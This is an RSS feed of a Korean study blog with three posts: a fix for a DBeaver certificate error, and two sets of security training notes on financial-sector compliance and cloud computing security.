<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>p-jina.log</title>
        <link>https://velog.io/</link>
        <description>공부 기록</description>
        <lastBuildDate>Sun, 14 Apr 2024 15:23:23 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>p-jina.log</title>
            <url>https://velog.velcdn.com/images/p-jina/profile/bf30f9bb-188e-46aa-96af-0d2b88fa4e25/social_profile.png</url>
            <link>https://velog.io/</link>
        </image>
        <copyright>Copyright (C) 2019. p-jina.log. All rights reserved.</copyright>
        <atom:link href="https://v2.velog.io/rss/p-jina" rel="self" type="application/rss+xml"/>
        <item>
            <title><![CDATA[[DBeaver] Network unavailable due to a certificate issue. 해결방법]]></title>
            <link>https://velog.io/@p-jina/Dbeaver-Network-unavailable-due-to-a-certificate-issue.-%ED%95%B4%EA%B2%B0%EB%B0%A9%EB%B2%95</link>
            <guid>https://velog.io/@p-jina/Dbeaver-Network-unavailable-due-to-a-certificate-issue.-%ED%95%B4%EA%B2%B0%EB%B0%A9%EB%B2%95</guid>
            <pubDate>Sun, 14 Apr 2024 15:23:23 GMT</pubDate>
            <description><![CDATA[<h3 id="에러-메세지">에러 메세지</h3>
<p>Network unavailable due to a certificate issue. Try changinh the setting &#39;Use Windows trust store&#39; in Preferences-&gt;Connections and restart DBeaver. It might help if you haven&#39;t overridden the trust store. javax.net.ssl.SSLHandshakeException:PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException:unable to find valid certifiation path to requested target.</p>
<h3 id="해결방법">해결방법</h3>
<ol>
<li>파일 &gt; 설정 &gt; Global settings
<img src="https://velog.velcdn.com/images/p-jina/post/959f6329-83e9-4155-80ed-3731eb42e11f/image.png" alt=""><img src="https://velog.velcdn.com/images/p-jina/post/e43fe249-19ba-41ad-90d7-f8b6a058cd63/image.png" alt=""></li>
</ol>
<ol start="2">
<li>연결 &gt; Use Windows trust store 체크 해제 &gt; Apply and Close
<img src="https://velog.velcdn.com/images/p-jina/post/ecf7e3d5-ff19-47c9-a947-a943497fb48f/image.png" alt=""></li>
</ol>
<ol start="3">
<li>DBeaver 종료 후 다시 실행 시 정상적으로 드라이버를 다운받는 걸 확인할 수 있다.</li>
</ol>
]]></description>
        </item>
        <item>
            <title><![CDATA[[SK shieldus Rookies 16기][클라우드 보안 컨설팅 실무] 금융보안]]></title>
            <link>https://velog.io/@p-jina/SK-shieldus-Rookies-16%EA%B8%B0-%ED%81%B4%EB%9D%BC%EC%9A%B0%EB%93%9C-%EB%B3%B4%EC%95%88-%EC%BB%A8%EC%84%A4%ED%8C%85-%EC%8B%A4%EB%AC%B4-%EA%B8%88%EC%9C%B5%EB%B3%B4%EC%95%88</link>
            <guid>https://velog.io/@p-jina/SK-shieldus-Rookies-16%EA%B8%B0-%ED%81%B4%EB%9D%BC%EC%9A%B0%EB%93%9C-%EB%B3%B4%EC%95%88-%EC%BB%A8%EC%84%A4%ED%8C%85-%EC%8B%A4%EB%AC%B4-%EA%B8%88%EC%9C%B5%EB%B3%B4%EC%95%88</guid>
            <pubDate>Thu, 25 Jan 2024 04:27:23 GMT</pubDate>
            <description><![CDATA[<h2 id="1-보안동향">1. 보안동향</h2>
<ol>
<li><strong>Financial Policy 디지털 금융 정책 :</strong><ul>
<li>자율보안체계</li>
<li>탄력성, 사이버 복원력</li>
<li>클라우드 마이그레이션</li>
</ul>
</li>
<li><strong>Security Threat 보안 위협 :</strong><ul>
<li>공격채널 다양화, 하이브리드 위협</li>
<li>SW 공급망 공격</li>
<li>SBOM의 중요성</li>
<li>피싱범죄에 딥페이크 기술 악용</li>
</ul>
</li>
<li><strong>IT Innovation IT 혁신 :</strong><ul>
<li>디지털 지갑</li>
<li>AI 안전성, 신뢰성 확보</li>
<li>사물인터넷(IoT) + 디지털 금융 = 금융사물인터넷(FoT)</li>
</ul>
</li>
</ol>
<h2 id="2-법률-동향">2. 법률 동향</h2>
<p>금융권 정보보호 정책/지침 문서체계</p>
<ul>
<li><strong>법령 :</strong><ul>
<li>전자금융 거래법 - 동법 시행령</li>
<li>신용정보법</li>
<li>금융실명법(은행/증권 등)</li>
<li>여신전문금융업법(카드)</li>
<li>보험업법(보험)</li>
</ul>
</li>
<li><strong>행정규칙 :</strong><ul>
<li>전자금융감독규정 - 동 규정 시행세칙<ul>
<li>행정지도 : 금융회사 정보기술(IT) 부문 보호 업무 이행지침</li>
</ul>
</li>
</ul>
</li>
<li><strong>사규 :</strong><ul>
<li>규정</li>
<li>지침</li>
<li>매뉴얼</li>
<li>가이드</li>
<li>전산정보 업무규정</li>
<li>전산정보보안업무지침</li>
<li>매뉴얼 제5편 제1장 정보보안</li>
<li>PC 보안관리 가이드</li>
</ul>
</li>
</ul>
<h3 id="21-법규컴플라이언스-상의-취약점-분석평가-강제-조항">2.1. 법규/컴플라이언스 상의 취약점 분석평가 강제 조항</h3>
<ul>
<li><strong>전자금융 기반시설 :</strong><ul>
<li><span style="color:#e06c75">*<em>정보통신기반 보호법 *</em></span>제9조(취약점 분석·평가)</li>
<li><span style="color:#e06c75"><strong>전자금융거래법</strong></span> 제21조의3(전자금융기반시설의 취약점 분석·평가)</li>
<li>전자금융감독규정 제37조의2(전자금융기반시설의 취약점 분석평가 주기, 내용 등)</li>
</ul>
</li>
<li><strong>정보보호 관리체계 :</strong><ul>
<li>정보통신망 이용촉진 및 정보보호 등에 관한 법률 제47조(정보보호 관리체계의 인증)</li>
<li>동법 시행령 제49조(정보보호 관리체계 인증 대상자의 범위)</li>
<li>정보보호관리체계 인증에 관한 고시 제14조(인증 의무대상자 범위)</li>
</ul>
</li>
<li><strong>정보보호관리체계 ISO27001  :</strong><ul>
<li>인증 규격 상의 8.2정보보호 위험 평가</li>
</ul>
</li>
<li><strong>정보보호 권고사항(망법) :</strong><ul>
<li>정보보호조치에 관한 지침(방통위고시 제2013-3호)</li>
</ul>
</li>
<li><strong>개인정보보호법 :</strong><ul>
<li>법 제29조(안전조치의무)</li>
<li>개인정보의 안전성 확보조치 기준 제5조(접근통제)</li>
<li>PMS 9.22 기술적 점검 &gt; 기술적 보안점검 정기 수행</li>
</ul>
</li>
</ul>
<h2 id="3-보안취약점-분석평가">3. 보안취약점 분석평가</h2>
<h3 id="31-span-stylecolore06c75정의span">3.1. <span style="color:#e06c75">정의</span></h3>
<p>전자금융기반시설에 안전성과 신뢰성을 저해하는 사이버 위협에 대응하기 위해 잠재된 보안 위협을 찾고 이를 개선하기 위한 사전 예방 활동을 의미</p>
<h3 id="32-평가-대상">3.2. 평가 대상</h3>
<p>금융회사 및 전자금융업자는 관계 법령에서 정한 내용에 따라 전자금융업무를 처리하기 위한 정보처리시스템 대상으로 취약점을 분석하고 평가함</p>
<h3 id="33-평가-주기">3.3. 평가 주기</h3>
<ul>
<li>공개 홈페이지 연2회 이상</li>
<li><span style="color:#e06c75"><strong>전자금융기반시설 연1회 이상</strong></span></li>
</ul>
<h3 id="34-분석평가-방법">3.4. 분석평가 방법</h3>
<p>취약점 평가 수행 시 금융회사가 자체전담반을 구성하여 운영하는 방안과 외부 평가 전문기관에 위탁하는 방안으로 구분</p>
<ol>
<li>금융회사가 <strong>자체전담반</strong>을 구성하여 운영하는 방안</li>
<li>금융회사가 <strong>평가전문기관에 위탁</strong>하는 방안</li>
</ol>
<h3 id="35-분석평가-절차">3.5. 분석평가 절차</h3>
<ol>
<li><strong>사전 분석 :</strong> 평가계획 수립 및 업무 현황 파악등</li>
<li><strong>취약점 분석 :</strong> 자산분석, 취약점 분석 등</li>
<li><strong>취약점 평가 :</strong> 전보보호분석·평가 지구 산출 등의 종합평가</li>
<li><strong>대책 수립 :</strong> 발견된 취약점에 대한 보안대책 수립 등</li>
<li><strong>사후 평가 :</strong> 발견된 취약점에 대한 조치계획 수립 등</li>
</ol>
<p>SK 쉴더스에서 하는 보안취약점 분석평가 절차</p>
<ol>
<li>요구 분석</li>
<li>범위 선정</li>
<li>자산 분석</li>
<li>위협 분석</li>
<li>취약성 분석</li>
<li>기존대책 분석</li>
<li>위험 평가</li>
<li>개선대책 권고</li>
<li>개선이행 점검
⇒ 금융회사 보안 취약점 분석 · 평가 결과 보고서 작성</li>
</ol>
<p>결과보고서 및 보완조치 이행계획서를 분석평가 <span style="color:#e06c75"><strong>종료 후 30일 이내 금융감독원에 제출</strong></span>하여야 한다.</p>
<h3 id="36-분석평가-기준">3.6. 분석평가 기준</h3>
<p>전자금융기반시설 보안 취약점 평가기준은 「금융 IT 보안 컴플라이언스 가이드」 (2017.10, 금융보안원) 를 준용하여 11개 통제분야 및 280개 세부항목으로 구성</p>
<h2 id="4-금융-회사-·-기관-분류">4. 금융 회사 · 기관 분류</h2>
<ul>
<li>은행 <ul>
<li>일반은행</li>
<li>특수은행</li>
</ul>
</li>
<li>비은행예금취급기관<ul>
<li>종합금융회사</li>
<li>상호저축은행</li>
<li>신용협동기구</li>
<li>우체국 예금</li>
</ul>
</li>
<li>증권회사, 자산운용회사<ul>
<li>증권회사</li>
<li>자산운용회사</li>
<li>산물회사</li>
<li>증권금융회사</li>
<li>투자자문화사</li>
</ul>
</li>
<li>보험회사<ul>
<li>생명보험회사</li>
<li>손해보험회사</li>
<li>우체국보험</li>
<li>공제기관</li>
<li>한국수출보험공사</li>
</ul>
</li>
<li>기타 금융회사<ul>
<li>여신전문금융회사</li>
<li>벤처캐피탈회사</li>
<li>신탁회사</li>
</ul>
</li>
<li>금융 보조기관<ul>
<li>금융감독원</li>
<li>예금보험공사</li>
<li>금융결제원</li>
<li>신용보증기관</li>
<li>신용평가회사</li>
<li>한국자산관리공사</li>
<li>한국주택금융공사</li>
<li>한국거래소</li>
<li>자금중개회사</li>
</ul>
</li>
</ul>
<h2 id="5-환경적-보안">5. 환경적 보안</h2>
<ul>
<li>물리적 환경적 보안<ul>
<li>전산실 보안</li>
</ul>
</li>
<li>관리/물리영역<ul>
<li>단말기 보호대책</li>
<li>전산자료 보호대책</li>
<li>악성코드 감염 방지대책</li>
<li>공개 서버 보안</li>
<li>IP주소 관리</li>
<li>암호 프로그램 및 암호키 관리</li>
<li>취약점 분석 · 평가</li>
<li>계정 및 권한 관리</li>
<li>정보처리시스템 관리자 통제</li>
<li>내부사용자 비밀번호 관리</li>
<li>이용자 비밀번호 관리</li>
<li>일괄작업 통제</li>
<li>업무 지속성 확보 방안</li>
<li>위기대응 행동 메뉴얼 수립</li>
<li>전자금융거래 시 준수사항</li>
<li>이용자 정보보호</li>
<li>외부주문 계약 준수사항</li>
<li>외부주문 시 보호 대책</li>
<li>외부주문 등에 대한 기준</li>
<li>침해사고 대응</li>
<li>정보기술 부문 및 전자금융 사고보고</li>
<li>손해배상</li>
<li>정보기술부문 및 전자금융 사고보고</li>
</ul>
</li>
</ul>
<h2 id="6-보안컨설팅-사업">6. 보안컨설팅 사업</h2>
<h3 id="61-사업-유형-분류">6.1. 사업 유형 분류</h3>
<ol>
<li><strong>대중성 :</strong><ul>
<li>트렌드 및 이슈, 전통성에 의거한 분류</li>
<li>보안 컨설팅 기업의 일반적 분류법</li>
</ul>
</li>
<li><strong>컴플라이언스 :</strong><ul>
<li>법적인 강제성 보유 유무에 의한 분류</li>
</ul>
</li>
<li><strong>정형 vs 비정형 :</strong><ul>
<li>평가/점검 기준이 존재, 산출 문서가 틍정되어 있음.</li>
<li>경우에 따라 결과보고서 포맷이 정해져 있음.</li>
<li>과거 산출물을 참고하여 작성</li>
<li>일반적인 분류 기준이 아닌 의미상의 분류</li>
</ul>
</li>
<li><strong>신기술영역, 융합보안영역 :</strong><ul>
<li>특정 신기술 영역 여부에 의한 분류</li>
<li>재조명된 영역 여부</li>
</ul>
</li>
</ol>
<h3 id="62-컨설팅-유형">6.2. 컨설팅 유형</h3>
<ol>
<li>보안시스템 도입/구축 컨설팅</li>
<li>보안시스템 운영 컴플라이언스 준수 점검 컨설팅</li>
<li>보안시스템 운영관리 수준 점검 컨설팅</li>
<li>보안시스템 아키텍처 수립 컨설팅</li>
<li>보안시스템별 심화 모의해킹</li>
</ol>
<h3 id="63-보안컨설턴트-vs-아키텍트">6.3. 보안컨설턴트 vs 아키텍트</h3>
<ul>
<li><strong>P</strong>eople</li>
<li><strong>P</strong>rocess</li>
<li><strong>T</strong>echnology</li>
</ul>
<h2 id="7-정보보호-컨설팅-방법론iscm">7. 정보보호 컨설팅 방법론(ISCM)</h2>
<p>ISCM (Infosec Security Consulting Methodology)은 금융, 통신, 제조, 공공 등 각 사업 분야에서 다년간 검증된 방법론</p>
<h3 id="71-수행절차">7.1. 수행절차</h3>
<ol>
<li>환경분석</li>
<li>현황분석</li>
<li>위험평가</li>
<li>보호대책수립</li>
<li>조치지원</li>
</ol>
<h2 id="8-현황-분석">8. 현황 분석</h2>
<h3 id="81-it-인프라-취약점-점검---수행절차">8.1. IT 인프라 취약점 점검 - 수행절차</h3>
<ol>
<li>사전준비</li>
<li>취약점 점검 수행</li>
<li>취약점 분석 및 조치지원</li>
<li>개선안 수립</li>
</ol>
<h3 id="82-정보보호관리체계-평가-기준">8.2. 정보보호관리체계 평가 기준</h3>
<ul>
<li>관리적 보안<ol>
<li>정보보호 정책</li>
<li>정보보호 조직</li>
<li>인적 보안</li>
<li>업무 지속성 관리</li>
<li>외부주문 보안</li>
</ol>
</li>
<li>기술적 보안<ol>
<li>운영관리</li>
<li>접근통제</li>
<li>IT 도입 · 개발 · 유지보수 관리</li>
<li>전자금융거래 보안</li>
<li>보안사고 대응</li>
</ol>
</li>
<li>물리적 보안<ol>
<li>물리적 · 환경적 보안</li>
</ol>
</li>
</ul>
<h2 id="9-위험분석-및-평가">9. 위험분석 및 평가</h2>
<h3 id="91-위험분석-평가-절차">9.1. 위험분석 평가 절차</h3>
<ol>
<li>자산 분석 : CIA 기준으로 자산별 중요도 산정</li>
<li>위협 분석 : 위협 시나리오 기반으로 위협 유형 정의 및 평가</li>
<li>취약성 분석 : 취약성 평가</li>
<li>위험도 분석 : 위헙도 산정 및 평가<ul>
<li>공통관리 위험 </li>
<li>접근 경로별 위험</li>
<li>단위 시스템별 위험</li>
</ul>
</li>
<li>보호대책 수립 : 조치이행에 따른 증적 수집</li>
</ol>
<h2 id="10-개인정보보호법-주요-개정사항">10. 개인정보보호법 주요 개정사항</h2>
<ul>
<li><strong>개인정보 전송요구권 :</strong> <ul>
<li>정보주체는 자신 또는 다른 개인정보처리자에게 개인정보 전송을 요구할 수 있음</li>
<li>개인정보보호법 제35조의2(개인정보의 전송 요구)</li>
</ul>
</li>
<li>*<em>자동화된 결정 대응권 : *</em><ul>
<li>정보주체는 자동화된 시스템으로 이루어지는 결정에 대해 거부 및 설명 요구 가능</li>
<li>개인정보보호법 제37조의2(자동화된 결정에 대한 정보주체의 권리 등)</li>
</ul>
</li>
<li><strong>국외 이전 중지 명령 :</strong> <ul>
<li>개인정보 국외 이전으로 정보주체의 피해가 우려 시 국외 이전 중지 명령 가능<ul>
<li>개인정보보호법 제28조의9(개인정보의 국외 이전 중지 명령)</li>
</ul>
</li>
</ul>
</li>
<li>*<em>개인정보 처리방침 평가 : *</em><ul>
<li>보호위원회는 개인정보 처리방침을 평가하고, 개선 권고 가능</li>
<li>개인정보보호법 제30조의2(개인정보 처리방침의 평가 및 개선권고)</li>
</ul>
</li>
<li><strong>재위탁 공개 및 동의 의무 :</strong> <ul>
<li>위탁사는 수탁사가 재위탁 시 공개하고, 수탁사는 최초 위탁자의 동의를 받아야 함</li>
<li>개인정보보호법 제26조(업무위탁에 따른 개인정보 처리제한)</li>
</ul>
</li>
<li><strong>민감정보 위험 고지 :</strong><ul>
<li>민감정보가 공개될 위험이 있는 경우 공개 가능성 및 비공개 선택 방법을 알려야함</li>
<li>개인정보보호법 제23조(민감정보의 처리제한)</li>
</ul>
</li>
<li><strong>이동형 영상정보 처리기기 :</strong><ul>
<li>이동형 영상정보처리기기 운영 요건 정의</li>
<li>개인정보보호법 제25조의2(이동형 영상 정보처리기기의 운영제한)</li>
</ul>
</li>
<li><strong>사전 실태점검 :</strong><ul>
<li>침해사고 고위험, 취약점 점검이 필요한 개인정보처리자 대상 사전 실태점검 가능</li>
<li>개인정보보호법 제63조의2(사전 실태점검)</li>
</ul>
</li>
</ul>
<h3 id="101-개인정보보호법-제26조에-따른-재위탁-제한에-관한-법률">10.1. 개인정보보호법 제26조에 따른 재위탁 제한에 관한 법률</h3>
<ul>
<li>개인정보보호법 제19조(개인정보를 제공받은 자의 이용,제공 제한)</li>
<li>개인정보보호법 제26조(업무 위탁에 따른 개인정보의 처리제한) 제 5항</li>
<li>개인정보보호법 제26조(업무 위탁에 따른 개인정보의 처리 제한) 제6항</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[SK shieldus Rookies 16기][클라우드 보안 컨설팅 실무] 클라우드 컴퓨팅서비스 보안]]></title>
            <link>https://velog.io/@p-jina/SK-shieldus-Rookies-16%EA%B8%B0-%ED%81%B4%EB%9D%BC%EC%9A%B0%EB%93%9C-%EB%B3%B4%EC%95%88-%EC%BB%A8%EC%84%A4%ED%8C%85-%EC%8B%A4%EB%AC%B4-%ED%81%B4%EB%9D%BC%EC%9A%B0%EB%93%9C-%EC%BB%B4%ED%93%A8%ED%8C%85%EC%84%9C%EB%B9%84%EC%8A%A4-%EB%B3%B4%EC%95%88</link>
            <guid>https://velog.io/@p-jina/SK-shieldus-Rookies-16%EA%B8%B0-%ED%81%B4%EB%9D%BC%EC%9A%B0%EB%93%9C-%EB%B3%B4%EC%95%88-%EC%BB%A8%EC%84%A4%ED%8C%85-%EC%8B%A4%EB%AC%B4-%ED%81%B4%EB%9D%BC%EC%9A%B0%EB%93%9C-%EC%BB%B4%ED%93%A8%ED%8C%85%EC%84%9C%EB%B9%84%EC%8A%A4-%EB%B3%B4%EC%95%88</guid>
            <pubDate>Tue, 23 Jan 2024 09:13:40 GMT</pubDate>
            <description><![CDATA[<h2 id="1-desecops-프로세스별-보안-역할">1. DeSecOps 프로세스별 보안 역할</h2>
<ol>
<li>보안 설계 및 아키텍처 :<ul>
<li>DevOps를 이용하는 소프트웨어 개발 :<ul>
<li>솔루션 아키텍트</li>
</ul>
</li>
<li>보안 활동 :<ol>
<li>위협 모델링</li>
<li>보안 사용자 트로기 값 스트림 보안 매핑</li>
<li>위험 요소 도출</li>
<li>아키텍처 원칙 및 아티팩트</li>
</ol>
</li>
</ul>
</li>
<li>보안코딩<ul>
<li>DevOps를 이용하는 소프트웨어 개발 :<ul>
<li>클라우드 개발자</li>
<li>운영 엔지니어</li>
<li>소프트웨어 개발자</li>
</ul>
</li>
<li>보안 활동 :<ol>
<li>개발자 교육</li>
<li>보안 Hook</li>
<li>소스코드 오류 분석</li>
<li>SCA(소프트웨어 구성 분석)</li>
<li>컨테이너 보안강화</li>
<li>보안단위 테스트</li>
<li>IaC(인프라형 코드 분석)</li>
</ol>
</li>
</ul>
</li>
<li>지속적 빌드, 통합 및 테스트<ul>
<li><span style="color:#e06c75"><strong>보안 활동 중 모의해킹 진단</strong></span><ul>
<li>민간기업, 공공기관 대상 : 과학기술정보통신부고시 주요정보통신기반시설 취약점 분석평가 가이드 &gt; 웹(Web) 점검 항목 28개</li>
<li>금융회사, 전자금융업자 대상 : 금융위원회 전자금융기반시설 취약점 분석평가 기준(매년 갱신 : 금융보안원) &gt; 웹(Web) 점검항목</li>
</ul>
</li>
</ul>
</li>
<li>지속적 전달 및 배포</li>
<li>런타임 보호 및 모니터링</li>
</ol>
<h2 id="2-단일-테넌트-vs-멀티-테넌트">2. 단일 테넌트 vs 멀티 테넌트</h2>
<ul>
<li><strong>단일 테넌트(Single Tenant) :</strong><ul>
<li>단일 고객에게 독립적인 애플리케이션과 데이터베이스를 제공하는 방식 </li>
<li>격리된 배포 접근 방식으로 보안성 ↑</li>
</ul>
</li>
<li><strong>멀티 테넌트(Multi Tenant) :</strong><ul>
<li>여러 고객에게 하나의 애플리케이션과 하나의 데이터베이스를 공유해서 사용하는 방식</li>
<li>공유 배포 접근 방식으로 보안성 ↓</li>
</ul>
</li>
</ul>
<p>단일 테넌트와 멀티 테넌트의 장단점을 합쳐 가장 많이 쓰고 있는 방식이 <strong>여러 고객에게 하나의 애플리케이션과 각각의 데이터베이스를 제공하는 방식</strong>을 채택하고 있음.</p>
<h2 id="3-프로비저닝provisioning">3. 프로비저닝(Provisioning)</h2>
<h3 id="31-정의">3.1. 정의</h3>
<p>사용자의 요구에 맞게 시스템 자원을 할당, 배치, 배포해두었다가 필요 시 시스템을 즉시 사용할 수 있는 상태로 미리 준비해두는 것</p>
<h3 id="32-종류">3.2. 종류</h3>
<ol>
<li>서버 자원 프로비저닝(Server Resource Provisioning) :<ul>
<li>IaaS에 따른 가상 서버의 프로비저닝</li>
</ul>
</li>
<li>운영체제 프로비저닝(OS Provisioning)</li>
<li>소프트웨어 프로비저닝(Software Provisioning)</li>
<li>계정 프로비저닝(Account Provisioning)</li>
<li>스토리지 프로비저닝(Storage Provisioning) :<ul>
<li>Block, Object, File 형 저장소를 제공</li>
</ul>
</li>
</ol>
<h2 id="4-vpcvirtual-private-cloud">4. VPC(Virtual Private Cloud)</h2>
<h3 id="41-정의">4.1. 정의</h3>
<ul>
<li>가상 사설 클라우드</li>
<li>가상 네트워크 서비스<ul>
<li>인터넷게이트웨이</li>
<li>온프레미스에서 라우터 역할</li>
</ul>
</li>
</ul>
<h3 id="42-가상-방화벽">4.2. 가상 방화벽</h3>
<p><img src="https://velog.velcdn.com/images/p-jina/post/ff2146ff-501a-4b54-ad29-f7b7d638be2a/image.png" alt=""></p>
<p>3 Layer 로 이루어져 있음
1차적으로 내외부망을 차단하는 역할</p>
<ul>
<li>NACL(네트워크 접근통제 목록)<ul>
<li>기본적으로 Stateless(비저장방식) 방식으로 함</li>
</ul>
</li>
<li>Security Group(SG) :<ul>
<li>인스턴스 수준에서 동작하는 가상 방화벽</li>
<li>인스턴스에 대한 인바운드, 아웃바운드 트래픽 제어</li>
</ul>
</li>
</ul>
<h3 id="43-vpc간-통신-방식">4.3. VPC간 통신 방식</h3>
<ol>
<li><p><strong>VGW(Virtual Private Gateway) :</strong></p>
<ul>
<li>VPC-온프레미스 네트워크 간의 VPN 연결을 가능하게 함</li>
<li>VPC와 온프레미스 네트워크 간에 안전한 연결이 필요한 경우 사용</li>
<li>동일 리전의 동일 계정에 있는 여러 VPC가 연결하는 경우</li>
<li>엔드포인트 방식</li>
</ul>
</li>
<li><p><strong>DGW(Direct Connect Gateway) :</strong></p>
<ul>
<li>AWS Direct Connect를 사용하여 VPC-온프레미스 네트워크 연결</li>
<li>높은 대역폭과 일관된 네트워크 성능이 필요한 경우 사용</li>
</ul>
</li>
<li><p><strong>TGW(Transit Gateway) :</strong></p>
<ul>
<li>VPC-온프레미스 네트워크 간의 트래픽에 대한 리전별 가상 라우터 역할을 수행</li>
<li>서로 다른 리전, 서로 다른 계정간 다수의 VPC를 연결할 경우 사용</li>
</ul>
</li>
</ol>
<h3 id="44-vpc-peerging-방식">4.4. VPC Peerging 방식</h3>
<p>VPC 간 1대1로 직접적인 연결을 제공하는 기능</p>
<h2 id="5-dmz-private-구조">5. DMZ, Private 구조</h2>
<ul>
<li>VRF(Virtual Routing and Forwarding) :<ul>
<li>하나의 라우터를 여러 개 가상 라우팅 도메인으로 나누어 하나의 물리적 네트워크를 여러 개 프로토콜을 가진 논리적 네트워크로 구성하는 네트워크 가상화를 제공하는 기술</li>
</ul>
</li>
<li>DMZ-WAS를 가장 많이 사용하고 있음</li>
</ul>
<h2 id="6-shared-security-responsibility-modelssrm">6. Shared Security Responsibility Model(SSRM)</h2>
<p>공동 보안 책임 모델
고객은 클라우드 내부 보안을 책임지고, AWS는 클라우드 자체의 보안을 책임
<img src="https://velog.velcdn.com/images/p-jina/post/1da7ef90-e7b3-4b84-9279-012f89eca3c6/image.png" alt=""></p>
<h2 id="7-클라우드-컴퓨팅-보안-위협-요소">7. 클라우드 컴퓨팅 보안 위협 요소</h2>
<h3 id="71-가상환경">7.1. 가상환경</h3>
<ul>
<li>보안위협 :<ol>
<li>악성 코드 감염</li>
<li>SaaS 애플리케이션 취약점</li>
<li>인터페이스 및 API 취약점</li>
<li>가상 자원 격리 위협</li>
<li>개발, 운영 가상환경 비인가 접근</li>
<li>App 데이터 변조</li>
</ol>
</li>
<li>보안 속성 :<ul>
<li>기밀성</li>
<li>무결성<h3 id="72-클라우드-인프라">7.2. 클라우드 인프라</h3>
</li>
</ul>
</li>
<li>보안위협 :<ul>
<li>설비 : 물리적 위협(화재, 정전 등)</li>
<li>하드웨어 :<ol>
<li>QoS </li>
<li>DDoS</li>
<li>Flood Attack</li>
<li>네트워크 장비 설정 오류</li>
</ol>
</li>
<li>가상화 인프라 :<ol>
<li>Multi-Tenancy(다중 임차)</li>
<li>공유 위협</li>
<li>솔루션 설정 오류</li>
</ol>
</li>
</ul>
</li>
<li>보안 속성 :<ul>
<li>기밀성</li>
<li>무결성<h3 id="73-정책">7.3. 정책</h3>
</li>
</ul>
</li>
<li>보안위협 :<ul>
<li>규정/법 미준수</li>
<li>인적보안</li>
<li>SLA 위반</li>
<li>용역 관리</li>
</ul>
</li>
<li>보안 속성 :<ul>
<li>감사<h3 id="74-사고-및-장애-대응">7.4. 사고 및 장애 대응</h3>
</li>
</ul>
</li>
<li>보안위협 :<ul>
<li>동일 사고 재발생</li>
<li>백업/복원 실패</li>
<li>사고 후 운영 실패</li>
</ul>
</li>
<li>보안 속성 :<ul>
<li>가용성<h3 id="75-인증-및-권한">7.5. 인증 및 권한</h3>
</li>
</ul>
</li>
<li>보안위협 :<ul>
<li>계정 탈취</li>
<li>내부자 위협</li>
<li>권한 상승/오용</li>
<li>단말 보안</li>
</ul>
</li>
<li>보안 속성 :<ul>
<li>인증 · 권한<h3 id="76-데이터">7.6. 데이터</h3>
</li>
</ul>
</li>
<li>보안위협 :<ol>
<li>데이터 유출</li>
<li>데이터 파괴</li>
<li><span style="color:#e06c75"><strong>데이터 위치(사법관할권)</strong></span><ul>
<li>국가 · 공공기관 :<ol>
<li>고유식별정보, 기관에 비밀 데이터 등록 시 클라우드의 리전은 대한민국 내에 존재해야 함</li>
<li>Cloud Service Deploy Model 은 반드시 프라이빗 클라우드로 구축해야함</li>
</ol>
</li>
<li>금융회사, 전자금융업자 :<ul>
<li>도입한 클라우드 컴퓨팅 서비스 내에 중요정보(고유식별정보, 개인신용정보(계좌번호, 신용카드번호, 보험증권번호))는 대한민국 리전에 존재해야 함</li>
</ul>
</li>
</ul>
</li>
<li><span style="color:#e06c75"><strong>데이터 안전성(백업 및 복원)</strong></span></li>
</ol>
</li>
<li>보안 속성 :<ul>
<li>기밀성</li>
<li>무결성</li>
</ul>
</li>
</ul>
<h2 id="8-클라우드컴퓨팅서비스-보안운영-아키텍처">8. 클라우드컴퓨팅서비스 보안운영 아키텍처</h2>
<p><img src="https://velog.velcdn.com/images/p-jina/post/cb8e1622-175b-485b-b4fb-d5b4aadf6064/image.png" alt=""></p>
<ul>
<li><strong>클라우드서비스 보안 계층 구분 :</strong><ol>
<li><strong>클라우드 사용자 보안 계층 :</strong><ul>
<li>클라우드서비스 정보보호 정책·조직</li>
<li>인적보안</li>
<li>클라우드 서비스 자산관리</li>
<li>준거성</li>
<li>데이터 보호 및 암호화</li>
<li>개인식별정보(PII) 보호</li>
</ul>
</li>
<li><strong>서비스 제공자 보안 계층 :</strong><ul>
<li>사용자 접근 통제</li>
<li>서비스 공급망 관리</li>
<li>침해사고 관리</li>
<li>서비스 연속성 관리</li>
<li>시스템 개발 및 도입 보안</li>
</ul>
</li>
<li><strong>가상머신 및 컨테이너 보안 계층 :</strong><ul>
<li>가상화 보안</li>
<li>가상 네트워크 보안</li>
<li>클라우드컴퓨팅시스템 접근 통제</li>
</ul>
</li>
<li><strong>데이터센터 보안 계층 :</strong><ul>
<li>클라우드 물리적 보안</li>
<li>물리적 네트워크 보안</li>
</ul>
</li>
</ol>
</li>
<li><strong>클라우드서비스 취약점 점검 및 보안통제평가 :</strong><ul>
<li>클라우드서비스 취약점 점검</li>
<li>클라우드서비스 보안통제평가</li>
</ul>
</li>
<li><strong>클라우드컴퓨팅서비스 위험관리 :</strong><ul>
<li>클라우드컴퓨팅서비스 위험평가 및 위험조치계획</li>
<li>클라우드컴퓨팅서비스 위험관리 프로세스</li>
</ul>
</li>
<li><strong>국가기관 등의 보안요구사항 :</strong><ul>
<li>공공기관 클라우드 관리적 보호조치</li>
<li>공공기관 클라우드 물리적 보호조치</li>
<li>공공기관 클라우드 기술적 보호조치</li>
</ul>
</li>
</ul>
<h2 id="9-데이터-보안-생명주기-6단계">9. 데이터 보안 생명주기 6단계</h2>
<p>국제산업표준 CSA(Cloud Security Alliance)</p>
<ol>
<li>생성(Create)</li>
<li>저장(Store)</li>
<li>이용(Use)</li>
<li>공유(Share)</li>
<li>보관(Archive)</li>
<li>파기(Destroy)</li>
</ol>
<h3 id="91-span-stylecolore06c75기능별-데이터-생명주기-단계별-매핑표span">9.1. <span style="color:#e06c75">기능별 데이터 생명주기 단계별 매핑표</span></h3>
<p><img src="https://velog.velcdn.com/images/p-jina/post/de20bc28-9cfb-49d5-b719-706367675b51/image.png" alt=""></p>
<ol>
<li>Read (읽기) : 데이터 생성, 보기, 읽기, 복사, 전송,배포</li>
<li>Process (프로세스) : 데이터에 대한 트랜잭션 수행, 업데이트</li>
<li>Store (저장) : 데이터 보관(파일, DB 등)</li>
</ol>
<h2 id="10-span-stylecolore06c75클라우드-보안-문서체계span">10. <span style="color:#e06c75">클라우드 보안 문서체계</span></h2>
